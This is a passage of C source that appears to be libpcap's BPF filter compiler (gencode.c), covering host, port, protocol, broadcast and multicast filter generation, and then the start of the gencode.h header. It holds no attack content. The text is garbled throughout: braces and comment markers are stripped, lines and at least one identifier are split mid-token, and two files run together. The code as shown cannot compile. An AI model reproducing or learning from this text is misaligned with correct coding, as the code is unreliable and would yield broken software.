proto = PPP_APPLE;
break;
case
ETHERTYPE_NS:
proto = PPP_NS;
break;
break;
case DLT_NULL:
/*
XXX */
if (proto == ETHERTYPE_IP)
return
(gen_cmp(0, BPF_W, (bpf_int32)htonl(AF_INET)));
else
return
gen_false();
return
gen_cmp(off_linktype, BPF_H, (bpf_int32)pro
to);
static struct block
*
gen_hostop(addr, mask, dir, proto, src_off, dst_off)
bpf_u_int32 addr;
bpf_u_int32 mask;
int dir, proto;
u_int src_off, dst_off;
struct block *b0, *b1;
u_int offset;
switch (dir) {
case
Q_SRC:
offset = src_off;
break;
case Q_DST:
offset = dst_off;
break;
case Q_AND:
b0 =
gen_hostop(addr, mask, Q_SRC, proto, src_off, dst_off);
b1
= gen_hostop(addr, mask, Q_DST, proto, src_off, dst_off);
gen_and(b0,
b1);
return b1;
case
Q_OR:
case Q_DEFAULT:
b0
= gen_hostop(addr, mask, Q_SRC, proto, src_off, dst_off);
b1
= gen_hostop(addr, mask, Q_DST, proto, src_off, dst_off);
gen_or(b0,
b1);
return b1;
default:
abort();
b0 = gen_linktype(proto);
b1 = gen_mcmp(offset, BPF_W,
(bpf_int32)addr, mask);
gen_and(b0,
b1);
return b1;
static
struct block *
gen_ehostop(eaddr, dir)
register const u_char *eaddr;
register int dir;
register
struct block *b0, *b1;
switch
(dir) {
case Q_SRC:
return
gen_bcmp(6, 6, eaddr);
case
Q_DST:
return gen_bcmp(0, 6, eaddr);
case Q_AND:
b0 = gen_ehostop(eaddr, Q_SRC);
b1
= gen_ehostop(eaddr, Q_DST);
gen_and(b0, b1);
return
b1;
case Q_DEFAULT:
case Q_OR:
b0 =
gen_ehostop(eaddr, Q_SRC);
b1 = gen_ehostop(eaddr, Q_DST);
gen_or(b0,
b1);
return b1;
abort();
/* NOTREACHED */
* Like gen_ehostop, but for DLT_FDDI
static
struct block *
gen_fhostop(eaddr, dir)
register const u_char *eaddr;
register int dir;
struct
block *b0, *b1;
switch (dir)
{
case Q_SRC:
#ifdef
PCAP_FDDIPAD
return gen_bcmp(6 + 1 + pcap_fddipad, 6,
eaddr);
#else
return gen_bcmp(6 + 1, 6, eaddr);
#endif
case Q_DST:
#ifdef PCAP_FDDIPAD
return
gen_bcmp(0 + 1 + pcap_fddipad, 6, eaddr);
#else
return
gen_bcmp(0 + 1, 6, eaddr);
#endif
case
Q_AND:
b0 = gen_fhostop(eaddr, Q_SRC);
b1 =
gen_fhostop(eaddr, Q_DST);
gen_and(b0, b1);
return
b1;
case Q_DEFAULT:
case Q_OR:
b0 =
gen_fhostop(eaddr, Q_SRC);
b1 = gen_fhostop(eaddr, Q_DST);
gen_or(b0,
b1);
return b1;
abort();
/* NOTREACHED */
* This is quite tricky because there may be
pad bytes in front of the
* DECNET
header, and then there are two possible data packet formats that
* carry both src and dst addresses, plus 5
packet types in a format that
*
carries only the src node, plus 2 types that use a different format and
* also carry just the src node.
* Yuck.
* Instead of doing those all right, we just look for data packets
with
* 0 or 1 bytes of
padding. If you want to look at other
packets, that
* will require a lot
more hacking.
* To add support for
filtering on DECNET "areas" (network numbers)
* one would want to add a "mask"
argument to this routine. That
would
* make the filter even more
inefficient, although one could be clever
* and not generate masking instructions if the mask is
0xFFFF.
static struct block *
gen_dnhostop(addr, dir, base_off)
bpf_u_int32 addr;
int dir;
u_int base_off;
struct
block *b0, *b1, *b2, *tmp;
u_int
offset_lh; /* offset if long header
is received */
u_int offset_sh; /* offset if short header is received
*/
switch (dir) {
case Q_DST:
offset_sh = 1; /* follows flags */
offset_lh
= 7; /* flgs,darea,dsubarea,HIORD
*/
break;
case
Q_SRC:
offset_sh = 3; /*
follows flags, dstnode */
offset_lh = 15; /* flgs,darea,dsubarea,did,sarea,ssub,HIORD */
break;
case Q_AND:
/* Inefficient
because we do our Calvinball dance twice */
b0 =
gen_dnhostop(addr, Q_SRC, base_off);
b1 = gen_dnhostop(addr, Q_DST,
base_off);
gen_and(b0, b1);
return
b1;
case Q_OR:
case Q_DEFAULT:
/*
Inefficient because we do our Calvinball dance twice */
b0
= gen_dnhostop(addr, Q_SRC, base_off);
b1 = gen_dnhostop(addr, Q_DST,
base_off);
gen_or(b0, b1);
return
b1;
default:
abort();
b0 = gen_linktype(ETHERTYPE_DN);
/* Check for pad = 1, long header case
*/
tmp = gen_mcmp(base_off + 2,
BPF_H,
(bpf_int32)ntohs(0x0681),
(bpf_int32)ntohs(0x07FF));
b1 =
gen_cmp(base_off + 2 + 1 + offset_lh,
BPF_H, (bpf_int32)ntohs(addr));
gen_and(tmp, b1);
/* Check for pad = 0, long header case
*/
tmp = gen_mcmp(base_off + 2,
BPF_B, (bpf_int32)0x06, (bpf_int32)0x7);
b2
= gen_cmp(base_off + 2 + offset_lh, BPF_H, (bpf_int32)ntohs(addr));
gen_and(tmp, b2);
gen_or(b2, b1);
/* Check for pad = 1, short header case
*/
tmp = gen_mcmp(base_off + 2,
BPF_H,
(bpf_int32)ntohs(0x0281),
(bpf_int32)ntohs(0x07FF));
b2 =
gen_cmp(base_off + 2 + 1 + offset_sh,
BPF_H, (bpf_int32)ntohs(addr));
gen_and(tmp, b2);
gen_or(b2, b1);
/* Check for pad = 0, short header case
*/
tmp = gen_mcmp(base_off + 2,
BPF_B, (bpf_int32)0x02, (bpf_int32)0x7);
b2
= gen_cmp(base_off + 2 + offset_sh, BPF_H, (bpf_int32)ntohs(addr));
gen_and(tmp, b2);
gen_or(b2, b1);
/* Combine with test for linktype */
gen_and(b0, b1);
return b1;
static struct block
*
gen_host(addr, mask, proto, dir)
bpf_u_int32
addr;
bpf_u_int32 mask;
int proto;
int dir;
struct
block *b0, *b1;
switch (proto)
{
case Q_DEFAULT:
b0
= gen_host(addr, mask, Q_IP, dir);
b1 = gen_host(addr, mask, Q_ARP,
dir);
gen_or(b0, b1);
b0 = gen_host(addr, mask, Q_RARP,
dir);
gen_or(b1, b0);
return b0;
case Q_IP:
return gen_hostop(addr, mask, dir,
ETHERTYPE_IP,
off_nl + 12, off_nl + 16);
case
Q_RARP:
return gen_hostop(addr, mask, dir, ETHERTYPE_REVARP,
off_nl + 14, off_nl + 24);
case Q_ARP:
return
gen_hostop(addr, mask, dir, ETHERTYPE_ARP,
off_nl + 14, off_nl + 24);
case Q_TCP:
bpf_error("'tcp'
modifier applied to host");
case
Q_UDP:
bpf_error("'udp' modifier applied to host");
case Q_ICMP:
bpf_error("'icmp'
modifier applied to host");
case
Q_IGMP:
bpf_error("'igmp' modifier applied to host");
case Q_IGRP:
bpf_error("'igrp'
modifier applied to host");
case
Q_ATALK:
bpf_error("ATALK host filtering not
implemented");
case
Q_DECNET:
return gen_dnhostop(addr, dir,
off_nl);
case Q_SCA:
bpf_error("SCA
host filtering not implemented");
case
Q_LAT:
bpf_error("LAT host filtering not
implemented");
case
Q_MOPDL:
bpf_error("MOPDL host filtering not
implemented");
case
Q_MOPRC:
bpf_error("MOPRC host filtering not
implemented");
default:
abort();
/* NOTREACHED */
static struct block
*
gen_gateway(eaddr, alist, proto, dir)
const u_char *eaddr;
bpf_u_int32
**alist;
int proto;
int dir;
struct block *b0, *b1, *tmp;
if (dir != 0)
bpf_error("direction applied to
'gateway'");
switch
(proto) {
case Q_DEFAULT:
case Q_IP:
case Q_ARP:
case
Q_RARP:
if (linktype == DLT_EN10MB)
b0 =
gen_ehostop(eaddr, Q_OR);
else if (linktype == DLT_FDDI)
b0
= gen_fhostop(eaddr, Q_OR);
else
bpf_error(
"'gateway' supported only on ethernet
or FDDI");
b1 = gen_host(**alist++, 0xffffffff,
proto, Q_OR);
while (*alist) {
tmp
= gen_host(**alist++, 0xffffffff, proto, Q_OR);
gen_or(b1,
tmp);
b1 = tmp;
gen_not(b1);
gen_and(b0,
b1);
return b1;
bpf_error("illegal
modifier of 'gateway'");
/*
NOTREACHED */
struct block *
gen_proto_abbrev(proto)
int proto;
struct block *b0, *b1;
switch
(proto) {
case Q_TCP:
b0
= gen_linktype(ETHERTYPE_IP);
b1 = gen_cmp(off_nl + 9, BPF_B,
(bpf_int32)IPPROTO_TCP);
gen_and(b0, b1);
break;
case Q_UDP:
b0 = gen_linktype(ETHERTYPE_IP);
b1
= gen_cmp(off_nl + 9, BPF_B, (bpf_int32)IPPROTO_UDP);
gen_and(b0,
b1);
break;
case
Q_ICMP:
b0 =
gen_linktype(ETHERTYPE_IP);
b1 = gen_cmp(off_nl + 9, BPF_B,
(bpf_int32)IPPROTO_ICMP);
gen_and(b0, b1);
break;
case Q_IGMP:
b0 = gen_linktype(ETHERTYPE_IP);
b1
= gen_cmp(off_nl + 9, BPF_B, (bpf_int32)2);
gen_and(b0,
b1);
break;
#ifndef IPPROTO_IGRP
#define IPPROTO_IGRP 9
#endif
case
Q_IGRP:
b0 =
gen_linktype(ETHERTYPE_IP);
b1 = gen_cmp(off_nl + 9, BPF_B,
(long)IPPROTO_IGRP);
gen_and(b0, b1);
break;
case Q_IP:
b1 = gen_linktype(ETHERTYPE_IP);
break;
case Q_ARP:
b1 = gen_linktype(ETHERTYPE_ARP);
break;
case Q_RARP:
b1 = gen_linktype(ETHERTYPE_REVARP);
break;
case Q_LINK:
bpf_error("link
layer applied in wrong context");
case
Q_ATALK:
b1 =
gen_linktype(ETHERTYPE_ATALK);
break;
case Q_DECNET:
b1 =
gen_linktype(ETHERTYPE_DN);
break;
case Q_SCA:
b1 =
gen_linktype(ETHERTYPE_SCA);
break;
case Q_LAT:
b1 =
gen_linktype(ETHERTYPE_LAT);
break;
case Q_MOPDL:
b1 =
gen_linktype(ETHERTYPE_MOPDL);
break;
case Q_MOPRC:
b1 =
gen_linktype(ETHERTYPE_MOPRC);
break;
default:
abort();
return b1;
static struct block *
gen_ipfrag()
struct slist *s;
struct block *b;
/* not ip frag */
s = new_stmt(BPF_LD|BPF_H|BPF_ABS);
s->s.k = off_nl + 6;
b = new_block(JMP(BPF_JSET));
b->s.k = 0x1fff;
b->stmts = s;
gen_not(b);
return b;
static struct block *
gen_portatom(off,
v)
int off;
bpf_int32 v;
struct slist *s;
struct
block *b;
s = new_stmt(BPF_LDX|BPF_MSH|BPF_B);
s->s.k = off_nl;
s->next =
new_stmt(BPF_LD|BPF_IND|BPF_H);
s->next->s.k
= off_nl + off;
b =
new_block(JMP(BPF_JEQ));
b->stmts
= s;
b->s.k = v;
return b;
struct block *
gen_portop(port,
proto, dir)
int port, proto, dir;
struct block *b0, *b1, *tmp;
/* ip proto 'proto' */
tmp = gen_cmp(off_nl + 9, BPF_B,
(bpf_int32)proto);
b0 =
gen_ipfrag();
gen_and(tmp,
b0);
switch (dir) {
case Q_SRC:
b1 = gen_portatom(0,
(bpf_int32)port);
break;
case Q_DST:
b1 = gen_portatom(2,
(bpf_int32)port);
break;
case Q_OR:
case
Q_DEFAULT:
tmp = gen_portatom(0,
(bpf_int32)port);
b1 = gen_portatom(2,
(bpf_int32)port);
gen_or(tmp, b1);
break;
case Q_AND:
tmp =
gen_portatom(0, (bpf_int32)port);
b1 = gen_portatom(2, (bpf_int32)port);
gen_and(tmp,
b1);
break;
default:
abort();
gen_and(b0, b1);
return b1;
static struct block
*
gen_port(port, ip_proto, dir)
int
port;
int ip_proto;
int dir;
struct block *b0, *b1, *tmp;
/* ether proto ip */
b0
= gen_linktype(ETHERTYPE_IP);
switch (ip_proto) {
case IPPROTO_UDP:
case IPPROTO_TCP:
b1
= gen_portop(port, ip_proto, dir);
break;
case PROTO_UNDEF:
tmp = gen_portop(port, IPPROTO_TCP,
dir);
b1 = gen_portop(port, IPPROTO_UDP, dir);
gen_or(tmp,
b1);
break;
default:
abort();
gen_and(b0, b1);
return b1;
static int
lookup_proto(name,
proto)
register const char
*name;
register int
proto;
register int v;
switch (proto) {
case Q_DEFAULT:
case Q_IP:
v =
pcap_nametoproto(name);
if (v == PROTO_UNDEF)
bpf_error("unknown
ip proto '%s'", name);
break;
case Q_LINK:
/* XXX should look up h/w protocol type
based on linktype */
v = pcap_nametoeproto(name);
if
(v == PROTO_UNDEF)
bpf_error("unknown ether proto
'%s'", name);
break;
default:
v = PROTO_UNDEF;
break;
return v;
static struct block *
gen_proto(v,
proto, dir)
int v;
int proto;
int dir;
struct
block *b0, *b1;
if (dir !=
Q_DEFAULT)
bpf_error("direction applied to
'proto'");
switch (proto)
{
case Q_DEFAULT:
case Q_IP:
b0 =
gen_linktype(ETHERTYPE_IP);
b1 = gen_cmp(off_nl + 9, BPF_B,
(bpf_int32)v);
gen_and(b0, b1);
return
b1;
case Q_ARP:
bpf_error("arp
does not encapsulate another protocol");
/* NOTREACHED
*/
case Q_RARP:
bpf_error("rarp
does not encapsulate another protocol");
/* NOTREACHED
*/
case Q_ATALK:
bpf_error("atalk
encapsulation is not specifiable");
/* NOTREACHED */
case Q_DECNET:
bpf_error("decnet
encapsulation is not specifiable");
/* NOTREACHED */
case Q_SCA:
bpf_error("sca
does not encapsulate another protocol");
/* NOTREACHED
*/
case Q_LAT:
bpf_error("lat
does not encapsulate another protocol");
/* NOTREACHED
*/
case Q_MOPRC:
bpf_error("moprc
does not encapsulate another protocol");
/* NOTREACHED
*/
case Q_MOPDL:
bpf_error("mopdl
does not encapsulate another protocol");
/* NOTREACHED
*/
case Q_LINK:
return
gen_linktype(v);
case
Q_UDP:
bpf_error("'udp proto' is bogus");
/*
NOTREACHED */
case Q_TCP:
bpf_error("'tcp
proto' is bogus");
/* NOTREACHED */
case Q_ICMP:
bpf_error("'icmp
proto' is bogus");
/* NOTREACHED */
case Q_IGMP:
bpf_error("'igmp
proto' is bogus");
/* NOTREACHED */
case Q_IGRP:
bpf_error("'igrp
proto' is bogus");
/* NOTREACHED */
default:
abort();
/*
NOTREACHED */
/* NOTREACHED
*/
struct block *
gen_scode(name, q)
register const char *name;
struct qual q;
int
proto = q.proto;
int dir =
q.dir;
int tproto;
u_char *eaddr;
bpf_u_int32 mask, addr, **alist;
struct block *b, *tmp;
int port, real_proto;
switch (q.addr) {
case Q_NET:
addr =
pcap_nametonetaddr(name);
if (addr == 0)
bpf_error("unknown
network '%s'", name);
/* Left justify network addr and calculate
its network mask */
mask = 0xffffffff;
while
(addr && (addr & 0xff000000) == 0) {
addr <<=
8;
mask <<= 8;
return
gen_host(addr, mask, proto, dir);
case
Q_DEFAULT:
case Q_HOST:
if
(proto == Q_LINK) {
switch (linktype) {
case
DLT_EN10MB:
eaddr
= pcap_ether_hostton(name);
if
(eaddr == NULL)
bpf_error(
"unknown ether host '%s'", name);
return gen_ehostop(eaddr, dir);
case
DLT_FDDI:
eaddr
= pcap_ether_hostton(name);
if
(eaddr == NULL)
bpf_error(
"unknown FDDI host '%s'", name);
return gen_fhostop(eaddr, dir);
default:
bpf_error(
"only
ethernet/FDDI supports link-level host name");
break;
}
}
else if (proto == Q_DECNET) {
unsigned short dn_addr =
__pcap_nametodnaddr(name);
/*
*
I don't think DECNET hosts can be multihomed, so
* there is no need to build up a list of
addresses
*/
return (gen_host(dn_addr, 0, proto,
dir));
} else {
alist = pcap_nametoaddr(name);
if
(alist == NULL || *alist == NULL)
bpf_error("unknown
host '%s'", name);
tproto = proto;
if
(off_linktype == -1 && tproto == Q_DEFAULT)
tproto = Q_IP;
b
= gen_host(**alist++, 0xffffffff, tproto, dir);
while (*alist)
{
tmp =
gen_host(**alist++, 0xffffffff,
tproto, dir);
gen_or(b, tmp);
b = tmp;
}
return
b;
case Q_PORT:
if
(proto != Q_DEFAULT && proto != Q_UDP && proto != Q_TCP)
bpf_error("illegal
qualifier of 'port'");
if (pcap_nametoport(name, &port,
&real_proto) == 0)
bpf_error("unknown port '%s'",
name);
if (proto == Q_UDP) {
if (real_proto == IPPROTO_TCP)
bpf_error("port '%s' is tcp",
name);
else
/*
override PROTO_UNDEF */
real_proto
= IPPROTO_UDP;
if (proto == Q_TCP) {
if
(real_proto == IPPROTO_UDP)
bpf_error("port
'%s' is udp", name);
else
/*
override PROTO_UNDEF */
real_proto
= IPPROTO_TCP;
return gen_port(port, real_proto,
dir);
case Q_GATEWAY:
eaddr
= pcap_ether_hostton(name);
if (eaddr == NULL)
bpf_error("unknown
ether host: %s", name);
alist = pcap_nametoaddr(name);
if
(alist == NULL || *alist == NULL)
bpf_error("unknown host '%s'",
name);
return gen_gateway(eaddr, alist, proto, dir);
case Q_PROTO:
real_proto =
lookup_proto(name, proto);
if (real_proto >= 0)
return
gen_proto(real_proto, proto, dir);
else
bpf_error("unknown protocol:
%s", name);
case
Q_UNDEF:
syntax();
/* NOTREACHED
*/
abort();
/* NOTREACHED */
struct block *
gen_mcode(s1,
s2, masklen, q)
register const
char *s1, *s2;
register int
masklen;
struct qual q;
register int nlen, mlen;
bpf_u_int32 n, m;
nlen = __pcap_atoin(s1, &n);
/* Promote short ipaddr */
n <<= 32 - nlen;
if (s2 != NULL) {
mlen
= __pcap_atoin(s2, &m);
/* Promote short ipaddr */
m
<<= 32 - mlen;
if ((n & ~m) != 0)
bpf_error("non-network
bits set in \"%s mask %s\"",
s1, s2);
} else {
/* Convert mask len to mask */
if
(masklen > 32)
bpf_error("mask length must be <=
32");
m = 0xffffffff << (32 -
masklen);
if ((n & ~m) != 0)
bpf_error("non-network
bits set in \"%s/%d\"",
s1, masklen);
switch
(q.addr) {
case Q_NET:
return
gen_host(n, m, q.proto, q.dir);
default:
bpf_error("Mask
syntax for networks only");
/* NOTREACHED */
struct block *
gen_ncode(s,
v, q)
register const char
*s;
bpf_u_int32 v;
struct qual q;
bpf_u_int32 mask;
int proto = q.proto;
int dir = q.dir;
register int vlen;
if (s == NULL)
vlen
= 32;
else if (q.proto ==
Q_DECNET)
vlen = __pcap_atodn(s, &v);
else
vlen = __pcap_atoin(s, &v);
switch (q.addr) {
case Q_DEFAULT:
case Q_HOST:
case Q_NET:
if (proto == Q_DECNET)
return
gen_host(v, 0, proto, dir);
else if (proto == Q_LINK) {
bpf_error("illegal
link layer address");
} else {
mask =
0xffffffff;
if (s == NULL && q.addr == Q_NET)
{
/* Promote short net
number */
while
(v && (v & 0xff000000) == 0) {
v <<= 8;
mask <<= 8;
}
} else {
/* Promote short ipaddr */
v <<= 32 - vlen;
mask <<= 32 - vlen;
}
return
gen_host(v, mask, proto, dir);
case
Q_PORT:
if (proto == Q_UDP)
proto = IPPROTO_UDP;
else
if (proto == Q_TCP)
proto = IPPROTO_TCP;
else
if (proto == Q_DEFAULT)
proto = PROTO_UNDEF;
else
bpf_error("illegal
qualifier of 'port'");
return gen_port((int)v, proto, dir);
case Q_GATEWAY:
bpf_error("'gateway'
requires a name");
/* NOTREACHED */
case Q_PROTO:
return
gen_proto((int)v, proto, dir);
case
Q_UNDEF:
syntax();
/* NOTREACHED
*/
default:
abort();
/*
NOTREACHED */
/* NOTREACHED
*/
struct block *
gen_ecode(eaddr, q)
register const u_char *eaddr;
struct qual q;
if
((q.addr == Q_HOST || q.addr == Q_DEFAULT) && q.proto == Q_LINK)
{
if (linktype == DLT_EN10MB)
return
gen_ehostop(eaddr, (int)q.dir);
if (linktype == DLT_FDDI)
return
gen_fhostop(eaddr, (int)q.dir);
bpf_error("ethernet
address used in non-ether expression");
/* NOTREACHED */
void
sappend(s0, s1)
struct slist *s0, *s1;
*
This is definitely not the best way to do this, but the
*
lists will rarely get long.
*/
while
(s0->next)
s0 = s0->next;
s0->next = s1;
static struct slist
*
xfer_to_x(a)
struct arth
*a;
struct slist *s;
s = new_stmt(BPF_LDX|BPF_MEM);
s->s.k = a->regno;
return s;
static struct slist *
xfer_to_a(a)
struct arth *a;
struct slist *s;
s = new_stmt(BPF_LD|BPF_MEM);
s->s.k = a->regno;
return s;
struct arth *
gen_load(proto,
index, size)
int proto;
struct arth *index;
int size;
struct slist *s, *tmp;
struct
block *b;
int regno =
alloc_reg();
free_reg(index->regno);
switch (size) {
default:
bpf_error("data
size must be 1, 2, or 4");
case
1:
size = BPF_B;
break;
case 2:
size = BPF_H;
break;
case 4:
size = BPF_W;
break;
switch (proto) {
default:
bpf_error("unsupported
index operation");
case
Q_LINK:
s = xfer_to_x(index);
tmp = new_stmt(BPF_LD|BPF_IND|size);
sappend(s,
tmp);
sappend(index->s, s);
break;
case Q_IP:
case
Q_ARP:
case Q_RARP:
case Q_ATALK:
case Q_DECNET:
case
Q_SCA:
case Q_LAT:
case Q_MOPRC:
case Q_MOPDL:
/* XXX Note that we assume a fixed link
link header here. */
s = xfer_to_x(index);
tmp
= new_stmt(BPF_LD|BPF_IND|size);
tmp->s.k = off_nl;
sappend(s,
tmp);
sappend(index->s, s);
b = gen_proto_abbrev(proto);
if
(index->b)
gen_and(index->b, b);
index->b
= b;
break;
case
Q_TCP:
case Q_UDP:
case Q_ICMP:
case Q_IGMP:
case
Q_IGRP:
s = new_stmt(BPF_LDX|BPF_MSH|BPF_B);
s->s.k
= off_nl;
sappend(s, xfer_to_a(index));
sappend(s,
new_stmt(BPF_ALU|BPF_ADD|BPF_X));
sappend(s,
new_stmt(BPF_MISC|BPF_TAX));
sappend(s, tmp =
new_stmt(BPF_LD|BPF_IND|size));
tmp->s.k = off_nl;
sappend(index->s,
s);
gen_and(gen_proto_abbrev(proto), b = gen_ipfrag());
if
(index->b)
gen_and(index->b, b);
index->b
= b;
break;
index->regno
= regno;
s =
new_stmt(BPF_ST);
s->s.k =
regno;
sappend(index->s,
s);
return index;
struct
block *
gen_relation(code, a0, a1, reversed)
int code;
struct
arth *a0, *a1;
int
reversed;
struct slist *s0,
*s1, *s2;
struct block *b,
*tmp;
s0 = xfer_to_x(a1);
s1 = xfer_to_a(a0);
s2 =
new_stmt(BPF_ALU|BPF_SUB|BPF_X);
b
= new_block(JMP(code));
if
(code == BPF_JGT || code == BPF_JGE) {
reversed = !reversed;
b->s.k
= 0x80000000;
if
(reversed)
gen_not(b);
sappend(s1, s2);
sappend(s0,
s1);
sappend(a1->s,
s0);
sappend(a0->s,
a1->s);
b->stmts =
a0->s;
free_reg(a0->regno);
free_reg(a1->regno);
/* 'and' together protocol checks */
if (a0->b) {
if
(a1->b) {
gen_and(a0->b, tmp = a1->b);
else
tmp
= a0->b;
} else
tmp
= a1->b;
if (tmp)
gen_and(tmp,
b);
return b;
struct arth
*
gen_loadlen()
int regno
= alloc_reg();
struct arth *a =
(struct arth *)newchunk(sizeof(*a));
struct
slist *s;
s =
new_stmt(BPF_LD|BPF_LEN);
s->next
= new_stmt(BPF_ST);
s->next->s.k
= regno;
a->s = s;
a->regno = regno;
return a;
struct arth *
gen_loadi(val)
int val;
struct arth *a;
struct
slist *s;
int reg;
a = (struct arth *)newchunk(sizeof(*a));
reg = alloc_reg();
s = new_stmt(BPF_LD|BPF_IMM);
s->s.k = val;
s->next = new_stmt(BPF_ST);
s->next->s.k = reg;
a->s = s;
a->regno = reg;
return
a;
struct arth *
gen_neg(a)
struct
arth *a;
struct slist *s;
s = xfer_to_a(a);
sappend(a->s, s);
s = new_stmt(BPF_ALU|BPF_NEG);
s->s.k = 0;
sappend(a->s, s);
s = new_stmt(BPF_ST);
s->s.k = a->regno;
sappend(a->s, s);
return a;
struct arth *
gen_arth(code,
a0, a1)
int code;
struct arth *a0, *a1;
struct slist *s0, *s1, *s2;
s0 = xfer_to_x(a1);
s1 = xfer_to_a(a0);
s2 = new_stmt(BPF_ALU|BPF_X|code);
sappend(s1, s2);
sappend(s0, s1);
sappend(a1->s, s0);
sappend(a0->s, a1->s);
free_reg(a1->regno);
s0 = new_stmt(BPF_ST);
a0->regno = s0->s.k =
alloc_reg();
sappend(a0->s,
s0);
return a0;
* Here we handle simple allocation of the
scratch registers.
* If too many
registers are alloc'd, the allocator punts.
static int
regused[BPF_MEMWORDS];
static int curreg;
* Return the next free register.
static int
alloc_reg()
int n = BPF_MEMWORDS;
while (--n >= 0) {
if
(regused[curreg])
curreg = (curreg + 1) %
BPF_MEMWORDS;
else {
regused[curreg]
= 1;
return curreg;
bpf_error("too many registers needed
to evaluate expression");
/*
NOTREACHED */
* Return a register
to the table so it can
* be used
later.
static void
free_reg(n)
int
n;
regused[n] = 0;
static
struct block *
gen_len(jmp, n)
int
jmp, n;
struct slist *s;
struct block *b;
s = new_stmt(BPF_LD|BPF_LEN);
b = new_block(JMP(jmp));
b->stmts = s;
b->s.k = n;
return b;
struct block *
gen_greater(n)
int n;
return gen_len(BPF_JGE, n);
struct block *
gen_less(n)
int n;
struct block *b;
b
= gen_len(BPF_JGT, n);
gen_not(b);
return b;
struct block *
gen_byteop(op,
idx, val)
int op, idx,
val;
struct block *b;
struct slist *s;
switch (op) {
default:
abort();
case '=':
return gen_cmp((u_int)idx, BPF_B,
(bpf_int32)val);
case
'<':
b = gen_cmp((u_int)idx, BPF_B, (bpf_int32)val);
b->s.code
= JMP(BPF_JGE);
gen_not(b);
return b;
case '>':
b = gen_cmp((u_int)idx,
BPF_B, (bpf_int32)val);
b->s.code = JMP(BPF_JGT);
return
b;
case '|':
s
= new_stmt(BPF_ALU|BPF_OR|BPF_K);
break;
case '&':
s = new_stmt(BPF_ALU|BPF_AND|BPF_K);
break;
s->s.k = val;
b = new_block(JMP(BPF_JEQ));
b->stmts = s;
gen_not(b);
return b;
struct block *
gen_broadcast(proto)
int proto;
bpf_u_int32 hostmask;
struct
block *b0, *b1, *b2;
static
u_char ebroadcast[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
switch (proto) {
case Q_DEFAULT:
case Q_LINK:
if (linktype == DLT_EN10MB)
return
gen_ehostop(ebroadcast, Q_DST);
if (linktype == DLT_FDDI)
return
gen_fhostop(ebroadcast, Q_DST);
bpf_error("not a broadcast
link");
break;
case Q_IP:
b0 = gen_linktype(ETHERTYPE_IP);
hostmask
= ~netmask;
b1 = gen_mcmp(off_nl + 16, BPF_W,
(bpf_int32)0, hostmask);
b2 = gen_mcmp(off_nl + 16, BPF_W,
(bpf_int32)(~0 & hostmask),
hostmask);
gen_or(b1, b2);
gen_and(b0,
b2);
return b2;
bpf_error("only
ether/ip broadcast filters supported");
struct block *
gen_multicast(proto)
int proto;
register struct block *b0, *b1;
register struct slist *s;
switch
(proto) {
case Q_DEFAULT:
case Q_LINK:
if (linktype ==
DLT_EN10MB) {
/* ether[0] & 1 != 0 */
s
= new_stmt(BPF_LD|BPF_B|BPF_ABS);
s->s.k = 0;
b0
= new_block(JMP(BPF_JSET));
b0->s.k = 1;
b0->stmts
= s;
return b0;
if (linktype ==
DLT_FDDI) {
/* XXX TEST THIS: MIGHT NOT PORT PROPERLY
XXX */
/* fddi[1] & 1 != 0 */
s
= new_stmt(BPF_LD|BPF_B|BPF_ABS);
s->s.k = 1;
b0
= new_block(JMP(BPF_JSET));
b0->s.k = 1;
b0->stmts
= s;
return b0;
/* Link not known to
support multicasts */
break;
case Q_IP:
b0 = gen_linktype(ETHERTYPE_IP);
b1
= gen_cmp(off_nl + 16, BPF_B, (bpf_int32)224);
b1->s.code =
JMP(BPF_JGE);
gen_and(b0, b1);
return
b1;
bpf_error("only IP
multicast filters supported on ethernet/FDDI");
* generate command for inbound/outbound. It's here so we can
* make it link-type specific. 'dir' = 0 implies "inbound",
* = 1 implies "outbound".
struct
block *
gen_inbound(dir)
int
dir;
register struct block
*b0;
b0 =
gen_relation(BPF_JEQ,
gen_load(Q_LINK, gen_loadi(0), 1),
gen_loadi(0),
dir);
return (b0);
* Copyright (c) 1990, 1991, 1992, 1993, 1994,
1995, 1996
* The Regents of the University of
California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
* @(#)
$Header: gencode.h,v 1.36 96/07/17 00:11:34 leres Exp $ (LBL)
/*XXX*/
#include
"gnuc.h"
/* Address qualifiers. */
#define Q_HOST 1
#define
Q_NET 2
#define
Q_PORT 3
#define Q_GATEWAY 4
#define
Q_PROTO 5
/* Protocol qualifiers. */
#define Q_LINK 1
#define
Q_IP 2
#define
Q_ARP 3
#define
Q_RARP 4
#define Q_TCP 5
#define Q_UDP 6
#define
Q_ICMP 7
#define Q_IGMP 8
#define Q_IGRP 9
#define Q_ATALK 10
#define Q_DECNET 11
#define Q_LAT 12
#define Q_SCA 13
#define Q_MOPRC 14
#define Q_MOPDL 15
/* Directional qualifiers.
*/
#define Q_SRC 1
#define Q_DST 2
#define
Q_OR 3
#define
Q_AND 4
#define
Q_DEFAULT 0
#define Q_UNDEF 255
struct
stmt {
int code;
bpf_int32 k;
struct slist {
struct stmt s;
struct slist *next;
* A bit vector to represent definition
sets. We assume TOT_REGISTERS
* is smaller than 8*sizeof(atomset).
typedef
bpf_u_int32 atomset;
#define ATOMMASK(n) (1 << (n))
#define
ATOMELEM(d, n) (d & ATOMMASK(n))
* An unbounded set.
typedef bpf_u_int32 *uset;
* Total number of atomic entities, including
accumulator (A) and index (X).
*
We treat all these guys similarly during flow analysis.
#define N_ATOMS
(BPF_MEMWORDS+2)
struct edge {
int
id;
int code;
uset edom;
struct block *succ;
struct
block *pred;
struct edge *next; /* link list of incoming edges for a node
*/
struct block {
int
id;
struct slist *stmts; /* side effect stmts */
struct stmt s; /* branch stmt
*/
int mark;
int longjt; /* jt branch requires
long jump */
int longjf; /*
